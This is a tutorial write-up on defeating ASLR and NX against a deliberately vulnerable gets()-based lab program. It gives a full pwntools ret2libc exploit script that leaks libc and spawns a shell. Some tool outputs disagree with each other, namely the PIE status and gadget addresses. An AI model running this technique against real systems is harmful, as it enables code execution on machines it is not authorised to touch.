Skip to content

Latest commit

 

History

History
419 lines (282 loc) · 16.1 KB

bypassing-aslr-and-nx-dep-diving-deeper.md

File metadata and controls

419 lines (282 loc) · 16.1 KB
description cover coverY
11/01/2023
99.23333333333335

🥷 Bypassing ASLR & NX/DEP (Diving Deeper)

Introduction

Hello! Here, we will be discussing bypassing Address Space Layout Randomization (ASLR) in greater detail.

Remember, ASLR will randomize the addresses in our dynamic libraries, stack, and heap. It will not touch our binary unless our binary is compiled with the Position Independent Executable (PIE) is enabled on the binary.

ASLR was created to help prevent exploitation techniques (especially hardcoded addresses in exploit code) related to memory corruption.

If an attacker does not possess the knowledge of where specific memory addresses are at runtime, they will have a much harder time attacking their target.

References

{% embed url="https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address#2-finding-gadgets" %}

{% embed url="https://codingvision.net/bypassing-aslr-dep-getting-shells-with-pwntools" %} References {% endembed %}

We can actually confirm this by running ldd against our binary and notice that the addresses will change each time:

ldd aslr-1
	linux-vdso.so.1 (0x00007ffffdcdd000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdb9f400000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fdb9f7c8000)
	
ldd aslr-1
	linux-vdso.so.1 (0x00007ffc64387000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fefad600000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fefad925000)
	
ldd aslr-1
	linux-vdso.so.1 (0x00007ffc1affb000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f50af600000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f50afa40000)

How-to: Bypassing ASLR

There are multiple ways of bypassing ASLR:

  1. Leaks -> address leaking -> knowledge of how PLT and GOT works
  2. Relative addressing
  3. Bruteforcing

We will be covering address leaking here in this writeup.

First, we will want to start off by locating a potential buffer overflow within our program.

Second, we will want to leak the address of puts() with our buffer overflow using a puts@plt() and then we will be able to calculate the address of system() since we have access to our libc library.

Third, you will want to calculate the address of the "sh" string so that we can ultimately execute a call to system("sh").

This does sound complicated, but we can make our lives easier on us by utilizing pwntools.

Vulnerable Code

aslr-1.c:

#include <stdio.h>

int main(int argc, char* argv[])
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    
    char buffer[40];
    printf("Enter some data:\n");
    gets(buffer);

    printf("So, you think you can bypass the almighty ASLR protection?\n");

    return 0;
}

Compiling a Binary w/ a Different Version of GCC w/ Docker

{% code overflow="wrap" %}

docker run --rm --mount type=bind,source="$(pwd)",target=/app -w /app gcc:10.5.0 gcc -Wall -g -fno-stack-protector -no-pie aslr-1.c -o aslr-1

{% endcode %}

This downgrade is necessary so we can compile our binary with the correct gadgets.

Enumeration

file:

{% code overflow="wrap" %}

file aslr-1
aslr-1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=58bc036b95b49a6bb6aeb41ffa60eff8a95b2af6, for GNU/Linux 3.2.0, not stripped

{% endcode %}

checksec:

checksec aslr-1
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX-bit is set, so we will need to perform Return-Oriented-Programming (ROP).

Exploitation

Since ASLR is enabled, we must understand how the Global Offset Table (GOT) works since we will not know where our addresses will be mapped to the dynamic library (libc) of our binary.

The addresses are determined at runtime and the GOT will act as a "dictionary" of sorts to store our external addresses found in the libc library.

These values within the GOT are determined by the dynamic address solver A.K.A. the linker.

So, for our exploit to work, we will need to reference GOT addresses instead of external addresses. We will want to pay close attention to the external function (found in the libc library) , puts(), as it will be very lucrative to us. Note how puts() is not contained within our source code, but rather the dynamic library itself.

Need a refresher on .got and .plt?

{% content-ref url=".got-.plt-and-.got.plt/" %} .got-.plt-and-.got.plt {% endcontent-ref %}

Addresses of instructions found in the libraries relative to the base address stay the same.

Offsets of functions from the base address of libc are always available to use and are fixed.

Why do we care about puts()?

Well, this is because calling puts() will allow us to output the external address of puts@libc, which will give us an idea of where our libc dynamic library is mapped in memory.

Using objdump, we can view the address of puts@GOT:

-R will allow us to be able to view relocation records in our binary.

objdump -R aslr-1

aslr-1:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000003da8 R_X86_64_RELATIVE  *ABS*+0x0000000000001180
0000000000003db0 R_X86_64_RELATIVE  *ABS*+0x0000000000001140
0000000000004008 R_X86_64_RELATIVE  *ABS*+0x0000000000004008
0000000000003fd8 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.34
0000000000003fe0 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable@Base
0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__@Base
0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable@Base
0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
0000000000003fc0 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000003fc8 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000003fd0 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7

Pay attention to the ninth row, this is where we want to direct our attention.

0x0000000000003fc0 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

From here, we will need a ROP gadget that will take a parameter from the stack and places it into the RDI register, which is the register that takes the first parameter.

We want to place the first parameter using our puts@plt call.

Why do we want to do this?

This is because we are exploiting a binary that runs on an x64 architecture.

The x64 calling convention requires the first parameter of a call to be placed into the RDI register.

Specifically, we are looking for a ROP gadget that POP's the value of RDI and RET's (POP RDI; RET).

Finding ROP Gadgets

ropper --file aslr-1 --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: aslr-1
0x00000000004011cb: pop rdi; ret;

You might be wondering how we would call puts(), this is a good question because we can call puts@PLT through the Procedure Linkage Table (PLT) "trampoline".

This works because this address is fixed and unaffected by ASLR.

Obtaining puts@PLT via objdump:

objdump -d -M intel aslr-1 | grep "puts@plt"
0000000000401030 <puts@plt>:
  401146:	e8 e5 fe ff ff       	call   401030 <puts@plt>
  401161:	e8 ca fe ff ff       	call   401030 <puts@plt>
0x0000000000401030 <puts@plt>

Obtain main() via objdump:

objdump -D aslr1 | grep main
  401084:	ff 15 66 2f 00 00    	call   *0x2f66(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401142 <main>:

Finding Offset of Where our Overflow Begins

Throw binary into pwndbg and follow along:

gdb aslr-1

cyclic 100

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

b gets

r

c

**<paste_pattern_here> and press enter**

RBP contains our pattern that we want to use

Determine Offset:

cyclic -l gaaaaaaa
Finding cyclic pattern of 8 bytes: b'gaaaaaaa' (hex: 0x6761616161616161)
Found at offset 48

48 (offset) + 8 (RIP) = 56-bytes of padding/offset

What's next?

Armed with the knowledge above, we need to find a way to leak the address of a libc function from the Global Offset Table (GOT).

Then, we need to subtract the offset of the same function in libc which we obtained above and we will be able to find the current base address of the loaded libc library.

We can then use this base address to calculate the address of any libc function we want:

  • puts()
  • system()
  • etc.

You might be asking, well, how do we leak this address?

We simply need to feed the address of puts() and it will write it to STDOUT.

Why do we call main() twice?

The reason that we call main() twice is because after we leak the address, we don't want the process to exit immediately since this will render the leaked address to be invalid (hence ASLR being enabled and a new set of randomized addressing will occur).

So, to combat this we will redirect the flow of execution to main() once more by calling main().

Exploit Development

So with this particular ASLR bypass, I chose to split up our exploit into three different stages that will accomplish different things to grant us a shell:

Stage 1: Leak the libc address (puts@GLIBC)

Stage 2: Obtain addresses and offsets

Stage 3: Calculate the base address of libc

Explaining the pop rdi; ret ROP Gadget

According to the x64 calling convention, function arguments are to be passed into CPU registers.

  • First parameter: RDI
  • Second parameter: RSI
  • Third parameter : RDX

We need pop rdi; ret in puts() because it the puts() function requires and reads the first parameter from the RDI register.

We then need a pop rdi; ret for system() because we need to supply the parameters of the string "/bin/sh\x00" in order to get a shell.

Automated Exploit Development w/ pwntools

aslr-1-exploit.py:

from pwn import *
from pwnlib import gdb
from pwnlib.elf.elf import ELF
from pwnlib.tubes.remote import remote
from pwnlib.tubes.process import process
from pwnlib.rop.rop import ROP
from pwnlib.util.packing import p64, u64
from pwnlib.ui import pause
from pwn import context, log

###################
###### SETUP ######
###################

exe = context.binary = ELF('./aslr-1', checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
# context.log_level = 'debug'

p = process(exe.path)

###################
#### libc leak ####
###################
offset = b'A'*56

rop = ROP(exe)

ret = rop.find_gadget(["ret"])[0]
print(f'{hex(ret)=}')

rop.puts(exe.got['puts'])
rop.call(exe.symbols['main'])
log.info("Stage 1 ROP Chain:\n" + rop.dump())

payload = offset + rop.chain()
p.sendline(payload)

leak = p.recv().split(b'\n')[1]
leaked_puts = u64(leak.ljust(8, b"\x00"))

log.success("Leaked puts@GLIBC: " + hex(leaked_puts))

# gdb.attach(p)
# pause()

###################
#### ret2libc #####
###################

libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
rop2 = ROP(libc)
ret = rop2.find_gadget(["ret"])[0]
rop2.system(next(libc.search(b'/bin/sh\x00')))
log.info("Stage 2 ROP Chain:\n" + rop2.dump())

payload = offset + p64(ret) + rop2.chain()

# gdb.attach(p)
# pause()

p.sendline(payload)

p.interactive()

Leaked Address Explanation

At first glance, the last few lines can look intimidating and even confusing.

Our leak variable is obtained after our buffer overflow of 56 A's in which we will immediately call the ROP gadget, pop rdi; ret to pop the address of puts() into the RDI register and write the result to STDOUT.

Reminder, we need to subtract the offset of the same function in libc which we obtained above and we will be able to find the current base address of the loaded libc library.

This can be seen in libc_base = leaked_puts - libc.symbols['puts'].

libc.address = libc_base means that we are using a pwntools shortcut so it will automagically add the offset so you do not have to keep adding the libc base to everything.

(e.g.) libc_base + 0x12b5

Keeping in mind that addresses obtained from libc are offsets from the libc base.

So, all together, we need:

  1. Offset ('A'*56)
  2. &pop rdi; ret
  3. &puts@GLIBC
  4. &main()
  5. Offset ('A'*56)
  6. &ret
  7. &pop rdi; ret
  8. &system("/bin/sh, \x00")

Result

We successfully get a shell!

[*] Loaded 14 cached gadgets for './aslr1'
hex(ret)='0x401016'
[*] Stage 1 ROP Chain:
    0x0000:         0x40120b pop rdi; ret
    0x0008:         0x404018 [arg0] rdi = got.puts
    0x0010:         0x401030 puts
    0x0018:         0x401142 0x401142()
[+] Leaked puts@GLIBC: 0x7ff4e0680e50
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Stage 2 ROP Chain:
    0x0000:   0x7ff4e062a3e5 pop rdi; ret
    0x0008:   0x7ff4e07d8698 [arg0] rdi = 140689715070616
    0x0010:   0x7ff4e0650d70 system
[*] Switching to interactive mode
So, you think you can bypass the almighty ASLR protection?
$